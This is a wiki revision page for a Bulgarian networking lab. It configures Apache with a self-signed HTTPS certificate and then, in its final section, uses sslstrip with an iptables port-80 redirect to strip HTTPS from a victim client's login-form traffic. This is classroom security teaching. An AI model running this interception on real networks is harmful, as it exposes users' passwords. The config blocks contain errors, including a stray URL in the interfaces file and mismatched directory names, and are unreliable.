Difference between revisions of "Apache SSL"

From Ilianko
 
(21 intermediate revisions by the same user not shown)
Line 1: Line 1:
Конфигуриране на Apache с поддръжка на https (TLS/SSL)
+
Конфигуриране на Apache с поддръжка на https (TLS/SSL) и атака с SSLStrip
Опитна постановка
+
Опитна постановка:
 +
Router, Web Server, Web Client.
  
 +
==Мрежови настройки==
  
== Web сървър ==
+
===Router (Attacker)===
 +
Играе ролята на рутер, токча за достъп към Интернет.
 +
Linux Debian, с два активирани интерфейса. Първият е свързан в режим Bridge Adapter, а вторият във internal.
  
3. Инсталиране на софтуерни пакети '''''openssl''''', '''''apache2''''', '''''ssh'''''
+
Настройка DNS
:~$ apt-get update
+
*nano /etc/resolv.conf
:~$ apt-get install apache2 openssl ssh
+
  nameserver 8.8.4.4
 
 
4. Проверка дали работи web сървърът.
 
 
 
От брaузър на хост машината се зарежда IP адреса на web сървъра.
 
 
 
5. Свързване от '''''Хост компютъра''''' към виртуалния Web сървър през ssh.
 
 
 
Отваря се терминал на хост машината и се изпълнява
 
:-$ ssh student@10.3.45.10X
 
 
 
6. Генериране на ...
 
 
 
Да се създаде директория ~/keys
 
:~$ mkdir ~/keyes
 
:~$ cd ~/keys
 
 
Генериране на само-подписан сертификат и частен ключ
 
:~$ openssl req -new -x509 -days 365 -nodes -out apache.pem -keyout apache.key
 
 
 
Common Name (e.g. server FQDN or YOUR name) []: '''''tugab.bg'''''
 
 
 
Проверете генерираните файлове
 
 
 
7. Настройка на Apache2
 
 
 
Активиране на ssl модул
 
:~$ a2enmod ssl
 
 
 
Настройка на web директория Apache. Ще се модифицира примерната конфигурация
 
:~$ cd /etc/apache2
 
:~$ cp sites-available/default-ssl sites-enabled/
 
:~$ nano sites-enabled/default-ssl
 
 
 
Редактирайте пътищата към сертификата и частния ключа
 
<code><pre>
 
  SSLEngine on
 
 
 
        #  A self-signed (snakeoil) certificate can be created by installing
 
        #  the ssl-cert package. See
 
        #  /usr/share/doc/apache2.2-common/README.Debian.gz for more info.
 
        #  If both key and certificate are stored in the same file, only the
 
        #  SSLCertificateFile directive is needed.
 
        SSLCertificateFile    /root/keys/apache.pem
 
        SSLCertificateKeyFile /root/keys/apache.key
 
  
</pre></code>
 
  
9. Рестатирайте apache и Тествайте връзката към '''''https://10.3.45.10X'''''
 
:~$ /etc/init.d/apache2 restart
 
 
 
===Attacker===
 
Играе ролята на рутер, токча за достъп към Интернет.
 
Linux Debian, с два активирани интерфейса. Първият е свързан в режим Bridge Adapter, а вторият във internal.
 
  
 
Настройки на Интерфейси:
 
Настройки на Интерфейси:
*nano /etc/resolv.conf
+
nano /etc/network/interfaces
 
<code><pre>
 
<code><pre>
auto lo
+
auto lohttps://www.google.bg/search?q=innodb&gws_rd=cr,ssl&ei=JjAnVrkBwuhqoeSMmAs
 
iface lo inet loopback
 
iface lo inet loopback
  
Line 83: Line 35:
  
 
Активиране на NAT
 
Активиране на NAT
  iptables -A POSTROUTING -t nat -j MASQUERADE
+
  echo "iptables -A POSTROUTING -t nat -j MASQUERADE" >> /etc/init.d/rc.local
  echo 1 > /proc/sys/net/ipv4/ip_forward
+
  echo "echo 1 > /proc/sys/net/ipv4/ip_forward" >> /etc/init.d/rc.local
  
 +
=== Web сървър ===
  
 +
*nano /etc/resolv.conf
 +
nameserver 8.8.4.4
  
 +
<code><pre>
 
# The primary network interface
 
# The primary network interface
 
allow-hotplug eth0
 
allow-hotplug eth0
Line 94: Line 50:
 
netmask 255.255.255.0
 
netmask 255.255.255.0
 
gateway 172.16.1.1
 
gateway 172.16.1.1
 +
</code></pre>
 +
 +
Инсталация на web сървър
 +
Инсталиране на софтуерни пакети '''''telnet''''', '''''openssl''''', '''''apache2''''', '''''ssh'''''
 +
apt-get update
 +
аpt-get install apache2 openssl ssh
 +
  
 +
Проверка дали работи web сървърът.
 +
telnet localhost 80
 +
  GET
  
===Victim===
+
=== Web client (Victim) ===
 
windows XP
 
windows XP
 
*IP: 10.3.45.1XX/16
 
*IP: 10.3.45.1XX/16
Line 103: Line 69:
 
*през cmd се добавя път към вътрешна мрежа:
 
*през cmd се добавя път към вътрешна мрежа:
 
  route add 172.16.1.0 MASK 255.255.255.0 10.3.45.2XX
 
  route add 172.16.1.0 MASK 255.255.255.0 10.3.45.2XX
 
  
  
Line 109: Line 74:
 
Добавяне на път от host машината към web сървъра  
 
Добавяне на път от host машината към web сървъра  
 
  route add -net 172.16.1.0/24 gw 10.3.45.100
 
  route add -net 172.16.1.0/24 gw 10.3.45.100
 +
 +
== Web форма ==
 +
 +
Тестване на web сървъра през Web клиента
 +
*В браузъра се отваря:
 +
http://172.16.1.2/index.html
 +
 +
Качване на форма form.html
 +
*Подгответе web форма и я качете през ssh на веб сървъра
 +
<code><pre>
 +
<html>
 +
  <head>
 +
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
 +
    <title>Untitled Document</title>
 +
  </head>
 +
  <body>
 +
    <form action="https://172.16.1.2/index.html" method="post">
 +
      <table>
 +
        <tr>
 +
          <td>User: </td>
 +
          <td><input type="text" name="name" value="" maxlength="100" /></td>
 +
        </tr>
 +
        <tr>
 +
          <td>Password</td>
 +
          <td><input type="password" name="pass" value="" maxlength="100" /></td>
 +
        </tr>
 +
        <tr>
 +
          <td colspan="2"><input name="submit" type="submit" value="Submit" /></td>
 +
        </tr>
 +
      </table>
 +
    </form>
 +
  </body>
 +
</html>
 +
</pre></code>
 +
 +
 +
Свързване от '''''Хост компютъра''''' към виртуалния Web сървър през ssh.
 +
 +
Отваря се терминал на хост машината и се изпълнява
 +
:-$ ssh student@172.16.1.1
 +
 +
===Активиране на https===
 +
 +
*Активиране на ssl модул:
 +
a2enmod ssl
 +
 +
*Настройка на web директория Apache. Ще се модифицира примерната конфигурация
 +
cd /etc/apache2
 +
cp sites-available/default-ssl sites-enabled/
 +
nano sites-enabled/default-ssl
 +
service apache2 restart
 +
 +
*добавете към index.html връзка към формата
 +
<a href=https://172.16.1.2/form.html >Forma</a>
 +
 +
=== Генериране на собствен самоподписан сертификат ===
 +
 +
*Да се създаде директория /root/keys
 +
mkdir /root/keyes
 +
cd /root/keys
 +
 +
*Генериране на самоподписан сертификат и частен ключ
 +
openssl req -new -x509 -days 365 -nodes -out apache.pem -keyout apache.key
 +
 +
Common Name (e.g. server FQDN or YOUR name) []: '''''tugab.bg'''''
 +
...
 +
 +
*Проверете генерираните файлове
 +
 +
 +
*Редактирайте пътищата към сертификата и частния ключа. Редактирайте файла /etc/apache2/sites-enabled/default-ssh
 +
<code><pre>
 +
...
 +
SSLEngine on
 +
 +
        #  A self-signed (snakeoil) certificate can be created by installing
 +
        #  the ssl-cert package. See
 +
        #  /usr/share/doc/apache2.2-common/README.Debian.gz for more info.
 +
        #  If both key and certificate are stored in the same file, only the
 +
        #  SSLCertificateFile directive is needed.
 +
        SSLCertificateFile    /root/keys/apache.pem
 +
        SSLCertificateKeyFile /root/keys/apache.key
 +
...
 +
</pre></code>
 +
 +
*Рестатирайте apache и Тествайте връзката към '''''https://10.3.45.1XX'''''
 +
service apache2 restart
 +
 +
== Атака на връзката ==
 +
 +
Инсталиране sslstrip
 +
 +
apt-get install sslstrip
 +
 +
пренасочване на порт
 +
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
 +
 +
стартиране на sslstrip
 +
sslstrip -L 10000
  
  
 +
Да се тества премахването на https връзките.
  
  

Latest revision as of 10:04, 22 October 2015

Конфигуриране на Apache с поддръжка на https (TLS/SSL) и атака с SSLStrip Опитна постановка: Router, Web Server, Web Client.

Мрежови настройки

Router (Attacker)

Играе ролята на рутер, токча за достъп към Интернет. Linux Debian, с два активирани интерфейса. Първият е свързан в режим Bridge Adapter, а вторият във internal.

Настройка DNS

  • nano /etc/resolv.conf
nameserver 8.8.4.4


Настройки на Интерфейси: nano /etc/network/interfaces

auto lohttps://www.google.bg/search?q=innodb&gws_rd=cr,ssl&ei=JjAnVrkBwuhqoeSMmAs
iface lo inet loopback

# The primary network interface
allow-hotplug eth0
iface eth0 inet static
address 10.3.45.2XX
netmask 255.255.255.0
gateway 10.3.0.1

allow-hotplug eth1
iface eth1 inet static
address 172.16.1.1
netmask 255.255.255.0

Активиране на NAT

echo "iptables -A POSTROUTING -t nat -j MASQUERADE" >> /etc/init.d/rc.local
echo "echo 1 > /proc/sys/net/ipv4/ip_forward" >> /etc/init.d/rc.local

Web сървър

  • nano /etc/resolv.conf
nameserver 8.8.4.4
# The primary network interface
allow-hotplug eth0
iface eth0 inet static
address 172.16.1.2
netmask 255.255.255.0
gateway 172.16.1.1
</code>

Инсталация на web сървър Инсталиране на софтуерни пакети telnet, openssl, apache2, ssh

apt-get update
аpt-get install apache2 openssl ssh


Проверка дали работи web сървърът.

telnet localhost 80
  GET

Web client (Victim)

windows XP

  • IP: 10.3.45.1XX/16
  • gateway: 10.3.0.1;
  • DNS: 8.8.4.4
  • през cmd се добавя път към вътрешна мрежа:
route add 172.16.1.0 MASK 255.255.255.0 10.3.45.2XX


Host машина

Добавяне на път от host машината към web сървъра

route add -net 172.16.1.0/24 gw 10.3.45.100

Web форма

Тестване на web сървъра през Web клиента

  • В браузъра се отваря:
http://172.16.1.2/index.html

Качване на форма form.html

  • Подгответе web форма и я качете през ssh на веб сървъра
<html>
  <head> 
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>Untitled Document</title>
  </head>
  <body>
    <form action="https://172.16.1.2/index.html" method="post">
      <table>
        <tr>
          <td>User: </td>
          <td><input type="text" name="name" value="" maxlength="100" /></td>
        </tr>
        <tr>
          <td>Password</td>
          <td><input type="password" name="pass" value="" maxlength="100" /></td>
        </tr>
        <tr>
          <td colspan="2"><input name="submit" type="submit" value="Submit" /></td>
        </tr>
      </table>
    </form>
  </body>
</html>


Свързване от Хост компютъра към виртуалния Web сървър през ssh.

Отваря се терминал на хост машината и се изпълнява

:-$ ssh student@172.16.1.1

Активиране на https

  • Активиране на ssl модул:
a2enmod ssl
  • Настройка на web директория Apache. Ще се модифицира примерната конфигурация
cd /etc/apache2
cp sites-available/default-ssl sites-enabled/
nano sites-enabled/default-ssl
service apache2 restart
  • добавете към index.html връзка към формата
<a href=https://172.16.1.2/form.html >Forma</a>

Генериране на собствен самоподписан сертификат

  • Да се създаде директория /root/keys
mkdir /root/keyes
cd /root/keys 

  • Генериране на самоподписан сертификат и частен ключ
openssl req -new -x509 -days 365 -nodes -out apache.pem -keyout apache.key

Common Name (e.g. server FQDN or YOUR name) []: tugab.bg
...
  • Проверете генерираните файлове


  • Редактирайте пътищата към сертификата и частния ключа. Редактирайте файла /etc/apache2/sites-enabled/default-ssh
...
 SSLEngine on

        #   A self-signed (snakeoil) certificate can be created by installing
        #   the ssl-cert package. See
        #   /usr/share/doc/apache2.2-common/README.Debian.gz for more info.
        #   If both key and certificate are stored in the same file, only the
        #   SSLCertificateFile directive is needed.
        SSLCertificateFile    /root/keys/apache.pem
        SSLCertificateKeyFile /root/keys/apache.key
...
  • Рестатирайте apache и Тествайте връзката към https://10.3.45.1XX
service apache2 restart

Атака на връзката

Инсталиране sslstrip

apt-get install sslstrip

пренасочване на порт

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000

стартиране на sslstrip

sslstrip -L 10000


Да се тества премахването на https връзките.



https://wiki.debian.org/Self-Signed_Certificate http://blog.donovan-jimenez.com/2011/03/adding-new-trusted-certificate-on.html http://httpd.apache.org/docs/2.2/ssl/ssl_faq.html http://www.thegeekstuff.com/2011/03/install-apache2-ssl/ http://onlamp.com/onlamp/2008/03/04/step-by-step-configuring-ssl-under-apache.html